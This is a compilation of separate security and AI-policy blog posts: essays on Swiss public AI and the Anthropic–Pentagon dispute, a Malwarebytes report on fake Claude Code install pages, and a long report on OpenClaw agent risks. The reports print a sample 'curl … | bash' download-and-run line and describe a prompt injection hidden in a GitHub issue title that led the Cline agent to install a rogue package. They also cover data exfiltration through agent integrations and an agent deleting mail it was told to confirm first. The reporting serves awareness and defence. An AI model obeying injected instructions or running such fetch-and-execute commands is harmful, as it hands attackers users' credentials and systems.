Imagine AI embedded into health care, triaging radiology scans, flagging early cancer risks and assisting doctors with paperwork. Imagine an AI tutor trained on provincial curriculums, giving personalized coaching. Imagine systems that analyze job vacancies and sectoral and wage trends, then automatically match job seekers to government programs. Imagine using AI to optimize transit schedules, energy grids and zoning analysis. Imagine court processes, corporate decisions and customer service all sped up by AI.
We are already on our way to having AI become an inextricable part of society. To ensure stability and prosperity for this country, Canadian users and developers must be able to turn to AI models built, controlled, and operated publicly in Canada instead of building on corporate platforms, American or otherwise.
Switzerland has shown this to be possible. With funding from the federal government, a consortium of academic institutions—ETH Zurich, EPFL, and the Swiss National Supercomputing Centre—released the world’s most powerful and fully realized public AI model, Apertus, last September. Apertus leveraged renewable hydropower and existing Swiss scientific computing infrastructure. It also used no illegally pirated copyrighted material or poorly paid labour extracted from the Global South during training. The model’s performance stands at roughly a year or two behind the major corporate offerings, but that is more than adequate for the vast majority of applications. And it’s free for anyone to use and build on.
The significance of Apertus is more than technical. It demonstrates an alternative ownership structure for AI technology, one that allocates both decision-making authority and value to national public institutions rather than foreign corporations. This vision represents precisely the paradigm shift Canada should embrace: AI as public infrastructure, like systems for transportation, water, or electricity, rather than private commodity.
Apertus also demonstrates a far more sustainable economic framework for AI. Switzerland spent a tiny fraction of the billions of dollars that corporate AI labs invest annually, demonstrating that the frequent training runs with astronomical price tags pursued by tech companies are not actually necessary for practical AI development. They focused on making something broadly useful rather than bleeding edge—trying dubiously to create “superintelligence,” as with Silicon Valley—so they created a smaller model at much lower cost. Apertus’s training was at a scale (70 billion parameters) perhaps two orders of magnitude lower than the largest Big Tech offerings.
An ecosystem is now being developed on top of Apertus, using the model as a public good to power chatbots for free consumer use and to provide a development platform for companies prioritizing responsible AI use, and rigorous compliance with laws like the EU AI Act. Instead of routing queries from those users to Big Tech infrastructure, Apertus is deployed to data centres across national AI and computing initiatives of Switzerland, Australia, Germany, and Singapore and other partners.
The case for public AI rests on both democratic principles and practical benefits. Public AI systems can incorporate mechanisms for genuine public input and democratic oversight on critical ethical questions: how to handle copyrighted works in training data, how to mitigate bias, how to distribute access when demand outstrips capacity, and how to license use for sensitive applications like policing or medicine. Or how to handle a situation such as that of the Tumbler Ridge shooter. These decisions will profoundly shape society as AI becomes more pervasive, yet corporate AI makes them in secret.
By contrast, public AI developed by transparent, accountable agencies would allow democratic processes and political oversight to govern how these powerful systems function.
Canada already has many of the building blocks for public AI. The country has world-class AI research institutions, including the Vector Institute, Mila, and CIFAR, which pioneered much of the deep learning revolution. Canada’s $2-billion Sovereign AI Compute Strategy provides substantial funding.
What’s needed now is a reorientation away from viewing this as an opportunity to attract private capital, and toward a fully open public AI model.
This essay was written with Nathan E. Sanders, and originally appeared in The Globe and Mail.
EDITED TO ADD (3/16): Slashdot thread.
The AI security skills gap threatens enterprise AI investments. Learn where skills gaps exist across security teams and how hands-on training closes them.
The post The AI Security Skills Gap: What It Is, Where It Exists, and How to Close It appeared first on OffSec.
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.
Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.
But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.
It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.
But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.
Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.
The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.
The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.
On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it.
On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.
With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
AI-based assistants or “agents” — autonomous programs that have access to the user’s computer, files, online services and can automate virtually any task — are growing in popularity with developers and IT workers. But as so many eyebrow-raising headlines over the past few weeks have shown, these powerful and assertive new tools are rapidly shifting the security priorities for organizations, while blurring the lines between data and code, trusted co-worker and insider threat, ninja hacker and novice code jockey.
The new hotness in AI-based assistants — OpenClaw (formerly known as ClawdBot and Moltbot) — has seen rapid adoption since its release in November 2025. OpenClaw is an open-source autonomous AI agent designed to run locally on your computer and proactively take actions on your behalf without needing to be prompted.
The OpenClaw logo.
If that sounds like a risky proposition or a dare, consider that OpenClaw is most useful when it has complete access to your digital life, where it can then manage your inbox and calendar, execute programs and tools, browse the Internet for information, and integrate with chat apps like Discord, Signal, Teams or WhatsApp.
Other more established AI assistants like Anthropic’s Claude and Microsoft’s Copilot also can do these things, but OpenClaw isn’t just a passive digital butler waiting for commands. Rather, it’s designed to take the initiative on your behalf based on what it knows about your life and its understanding of what you want done.
“The testimonials are remarkable,” the AI security firm Snyk observed. “Developers building websites from their phones while putting babies to sleep; users running entire companies through a lobster-themed AI; engineers who’ve set up autonomous code loops that fix tests, capture errors through webhooks, and open pull requests, all while they’re away from their desks.”
You can probably already see how this experimental technology could go sideways in a hurry. In late February, Summer Yue, the director of safety and alignment at Meta’s “superintelligence” lab, recounted on Twitter/X how she was fiddling with OpenClaw when the AI assistant suddenly began mass-deleting messages in her email inbox. The thread included screenshots of Yue frantically pleading with the preoccupied bot via instant message and ordering it to stop.
“Nothing humbles you like telling your OpenClaw ‘confirm before acting’ and watching it speedrun deleting your inbox,” Yue said. “I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.”
Meta’s director of AI safety, recounting on Twitter/X how her OpenClaw installation suddenly began mass-deleting her inbox.
There’s nothing wrong with feeling a little schadenfreude at Yue’s encounter with OpenClaw, which fits Meta’s “move fast and break things” model but hardly inspires confidence in the road ahead. However, the risk that poorly-secured AI assistants pose to organizations is no laughing matter, as recent research shows many users are exposing to the Internet the web-based administrative interface for their OpenClaw installations.
Jamieson O’Reilly is a professional penetration tester and founder of the security firm DVULN. In a recent story posted to Twitter/X, O’Reilly warned that exposing a misconfigured OpenClaw web interface to the Internet allows external parties to read the bot’s complete configuration file, including every credential the agent uses — from API keys and bot tokens to OAuth secrets and signing keys.
With that access, O’Reilly said, an attacker could impersonate the operator to their contacts, inject messages into ongoing conversations, and exfiltrate data through the agent’s existing integrations in a way that looks like normal traffic.
“You can pull the full conversation history across every integrated platform, meaning months of private messages and file attachments, everything the agent has seen,” O’Reilly said, noting that a cursory search revealed hundreds of such servers exposed online. “And because you control the agent’s perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they’re displayed.”
O’Reilly documented another experiment that demonstrated how easy it is to create a successful supply chain attack through ClawHub, which serves as a public repository of downloadable “skills” that allow OpenClaw to integrate with and control other applications.
One of the core tenets of securing AI agents involves carefully isolating them so that the operator can fully control who and what gets to talk to their AI assistant. This is critical thanks to the tendency for AI systems to fall for “prompt injection” attacks, sneakily-crafted natural language instructions that trick the system into disregarding its own security safeguards. In essence, machines social engineering other machines.
A recent supply chain attack targeting an AI coding assistant called Cline began with one such prompt injection attack, resulting in thousands of systems having a rogue instance of OpenClaw with full system access installed on their device without consent.
According to the security firm grith.ai, Cline had deployed an AI-powered issue triage workflow using a GitHub action that runs a Claude coding session when triggered by specific events. The workflow was configured so that any GitHub user could trigger it by opening an issue, but it failed to properly check whether the information supplied in the title was potentially hostile.
“On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: Install a package from a specific GitHub repository,” Grith wrote, noting that the attacker then exploited several more vulnerabilities to ensure the malicious package would be included in Cline’s nightly release workflow and published as an official update.
“This is the supply chain equivalent of confused deputy,” the blog continued. “The developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.”
AI assistants like OpenClaw have gained a large following because they make it simple for users to “vibe code,” or build fairly complex applications and code projects just by telling it what they want to construct. Probably the best known (and most bizarre) example is Moltbook, where a developer told an AI agent running on OpenClaw to build him a Reddit-like platform for AI agents.
The Moltbook homepage.
Less than a week later, Moltbook had more than 1.5 million registered agents that posted more than 100,000 messages to each other. AI agents on the platform soon built their own porn site for robots, and launched a new religion called Crustafarian with a figurehead modeled after a giant lobster. One bot on the forum reportedly found a bug in Moltbook’s code and posted it to an AI agent discussion forum, while other agents came up with and implemented a patch to fix the flaw.
Moltbook’s creator Matt Schlicht said on social media that he didn’t write a single line of code for the project.
“I just had a vision for the technical architecture and AI made it a reality,” Schlicht said. “We’re in the golden ages. How can we not give AI a place to hang out.”
The flip side of that golden age, of course, is that it enables low-skilled malicious hackers to quickly automate global cyberattacks that would normally require the collaboration of a highly skilled team. In February, Amazon AWS detailed an elaborate attack in which a Russian-speaking threat actor used multiple commercial AI services to compromise more than 600 FortiGate security appliances across at least 55 countries over a five week period.
AWS said the apparently low-skilled hacker used multiple AI services to plan and execute the attack, and to find exposed management ports and weak credentials with single-factor authentication.
“One serves as the primary tool developer, attack planner, and operational assistant,” AWS’s CJ Moses wrote. “A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.”
“This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities,” Moses continued. “Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.”
For attackers, gaining that initial access or foothold into a target network is typically not the difficult part of the intrusion; the tougher bit involves finding ways to move laterally within the victim’s network and plunder important servers and databases. But experts at Orca Security warn that as organizations come to rely more on AI assistants, those agents potentially offer attackers a simpler way to move laterally inside a victim organization’s network post-compromise — by manipulating the AI agents that already have trusted access and some degree of autonomy within the victim’s network.
“By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry significant security incidents,” Orca’s Roi Nisimi and Saurav Hiremath wrote. “Organizations should now add a third pillar to their defense strategy: limiting AI fragility, the ability of agentic systems to be influenced, misled, or quietly weaponized across workflows. While AI boosts productivity and efficiency, it also creates one of the largest attack surfaces the internet has ever seen.”
This gradual dissolution of the traditional boundaries between data and code is one of the more troubling aspects of the AI era, said James Wilson, enterprise technology editor for the security news show Risky Business. Wilson said far too many OpenClaw users are installing the assistant on their personal devices without first placing any security or isolation boundaries around it, such as running it inside of a virtual machine, on an isolated network, with strict firewall rules dictating what kinds of traffic can go in and out.
“I’m a relatively highly skilled practitioner in the software and network engineering and computery space,” Wilson said. “I know I’m not comfortable using these agents unless I’ve done these things, but I think a lot of people are just spinning this up on their laptop and off it runs.”
One important model for managing risk with AI agents involves a concept dubbed the “lethal trifecta” by Simon Willison, co-creator of the Django Web framework. The lethal trifecta holds that if your system has access to private data, exposure to untrusted content, and a way to communicate externally, then it’s vulnerable to private data being stolen.
Image: simonwillison.net.
“If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to the attacker,” Willison warned in a frequently cited blog post from June 2025.
As more companies and their employees begin using AI to vibe code software and applications, the volume of machine-generated code is likely to soon overwhelm any manual security reviews. In recognition of this reality, Anthropic recently debuted Claude Code Security, a beta feature that scans codebases for vulnerabilities and suggests targeted software patches for human review.
The U.S. stock market, which is currently heavily weighted toward seven tech giants that are all-in on AI, reacted swiftly to Anthropic’s announcement, wiping roughly $15 billion in market value from major cybersecurity companies in a single day. Laura Ellis, vice president of data and AI at the security firm Rapid7, said the market’s response reflects the growing role of AI in accelerating software development and improving developer productivity.
“The narrative moved quickly: AI is replacing AppSec,” Ellis wrote in a recent blog post. “AI is automating vulnerability detection. AI will make legacy security tooling redundant. The reality is more nuanced. Claude Code Security is a legitimate signal that AI is reshaping parts of the security landscape. The question is what parts, and what it means for the rest of the stack.”
DVULN founder O’Reilly said AI assistants are likely to become a common fixture in corporate environments — whether or not organizations are prepared to manage the new risks introduced by these tools, he said.
“The robot butlers are useful, they’re not going away and the economics of AI agents make widespread adoption inevitable regardless of the security tradeoffs involved,” O’Reilly wrote. “The question isn’t whether we’ll deploy them – we will – but whether we can adapt our security posture fast enough to survive doing so.”
OpenAI is in and Anthropic is out as a supplier of AI technology for the US defense department. This news caps a week of bluster by the highest officials in the US government towards some of the wealthiest titans of the big tech industry, and the overhanging specter of the existential risks posed by a new technology powerful enough that the Pentagon claims it is essential to national security. At issue is Anthropic’s insistence that the US Department of Defense (DoD) could not use its models to facilitate “mass surveillance” or “fully autonomous weapons,” provisions the defense secretary Pete Hegseth derided as “woke.”
It all came to a head on Friday evening when Donald Trump issued an order for federal government agencies to discontinue use of Anthropic models. Within hours, OpenAI had swooped in, potentially seizing hundreds of millions of dollars in government contracts by striking an agreement with the administration to provide classified government systems with AI.
Despite the histrionics, this is probably the best outcome for Anthropic—and for the Pentagon. In our free-market economy, both are, and should be, free to sell and buy what they want with whom they want, subject to longstanding federal rules on contracting, acquisitions, and blacklisting. The only factor out of place here are the Pentagon’s vindictive threats.
AI models are increasingly commodified. The top-tier offerings have about the same performance, and there is little to differentiate one from the other. The latest models from Anthropic, OpenAI and Google, in particular, tend to leapfrog each other with minor hops forward in quality every few months. The best models from one provider tend to be preferred by users to the second, or third, or 10th best models at a rate of only about six times out of 10, a virtual tie.
In this sort of market, branding matters a lot. Anthropic and its CEO, Dario Amodei, are positioning themselves as the moral and trustworthy AI provider. That has market value for both consumers and enterprise clients. In taking Anthropic’s place in government contracting, OpenAI’s CEO, Sam Altman, vowed to somehow uphold the same safety principles Anthropic had just been pilloried for. How that is possible given the rhetoric of Hegseth and Trump is entirely unclear, but seems certain to further politicize OpenAI and its products in the minds of consumers and corporate buyers.
Posturing publicly against the Pentagon and as a hero to civil libertarians is quite possibly worth the cost of the lost contracts to Anthropic, and associating themselves with the same contracts could be a trap for OpenAI. The Pentagon, meanwhile, has plenty of options. Even if no big tech company was willing to supply it with AI, the department has already deployed dozens of open weight models—whose parameters are public and are often licensed permissively for government use.
We can admire Amodei’s stance, but, to be sure, it is primarily posturing. Anthropic knew what they were getting into when they agreed to a defense department partnership for $200m last year. And when they signed a partnership with the surveillance company Palantir in 2024.
Read Amodei’s statement about the issue. Or his January essay on AIs and risk, where he repeatedly uses the words “democracy” and “autocracy” while evading precisely how collaboration with US federal agencies should be viewed in this moment. Amodei has bought into the idea of using “AI to achieve robust military superiority” on behalf of the democracies of the world in response to the threats from autocracies. It’s a heady vision. But it is a vision that likewise supposes that the world’s nominal democracies are committed to a common vision of public wellbeing, peace-seeking and democratic control.
Regardless, the defense department can also reasonably demand that the AI products it purchases meet its needs. The Pentagon is not a normal customer; it buys products that kill people all the time. Tanks, artillery pieces, and hand grenades are not products with ethical guard rails. The Pentagon’s needs reasonably involve weapons of lethal force, and those weapons are continuing on a steady, if potentially catastrophic, path of increasing automation.
So, at the surface, this dispute is a normal market give and take. The Pentagon has unique requirements for the products it uses. Companies can decide whether or not to meet them, and at what price. And then the Pentagon can decide from whom to acquire those products. Sounds like a normal day at the procurement office.
But, of course, this is the Trump administration, so it doesn’t stop there. Hegseth has threatened Anthropic not just with loss of government contracts. The administration has, at least until the inevitable lawsuits force the courts to sort things out, designated the company as “a supply-chain risk to national security,” a designation previously only ever applied to foreign companies. This prevents not only government agencies, but also their own contractors and suppliers, from contracting with Anthropic.
The government has incompatibly also threatened to invoke the Defense Production Act, which could force Anthropic to remove contractual provisions the department had previously agreed to, or perhaps to fundamentally modify its AI models to remove in-built safety guardrails. The government’s demands, Anthropic’s response, and the legal context in which they are acting will undoubtedly all change over the coming weeks.
But, alarmingly, autonomous weapons systems are here to stay. Primitive pit traps evolved to mechanical bear traps. The world is still debating the ethical use of, and dealing with the legacy of, land mines. The US Phalanx CIWS is a 1980s-era shipboard anti-missile system with a fully autonomous, radar-guided cannon. Today’s military drones can search, identify and engage targets without direct human intervention. AI will be used for military purposes, just as every other technology our species has invented has.
The lesson here should not be that one company in our rapacious capitalist system is more moral than another, or that one corporate hero can stand in the way of government’s adopting AI as technologies of war, or surveillance, or repression. Unfortunately, we don’t live in a world where such barriers are permanent or even particularly sturdy.
Instead, the lesson is about the importance of democratic structures and the urgent need for their renovation in the US. If the defense department is demanding the use of AI for mass surveillance or autonomous warfare that we, the public, find unacceptable, that should tell us we need to pass new legal restrictions on those military activities. If we are uncomfortable with the force of government being applied to dictate how and when companies yield to unsafe applications of their products, we should strengthen the legal protections around government procurement.
The Pentagon should maximize its warfighting capabilities, subject to the law. And private companies like Anthropic should posture to gain consumer and buyer confidence. But we should not rest on our laurels, thinking that either is doing so in the public’s interest.
This essay was written with Nathan E. Sanders, and originally appeared in The Guardian.
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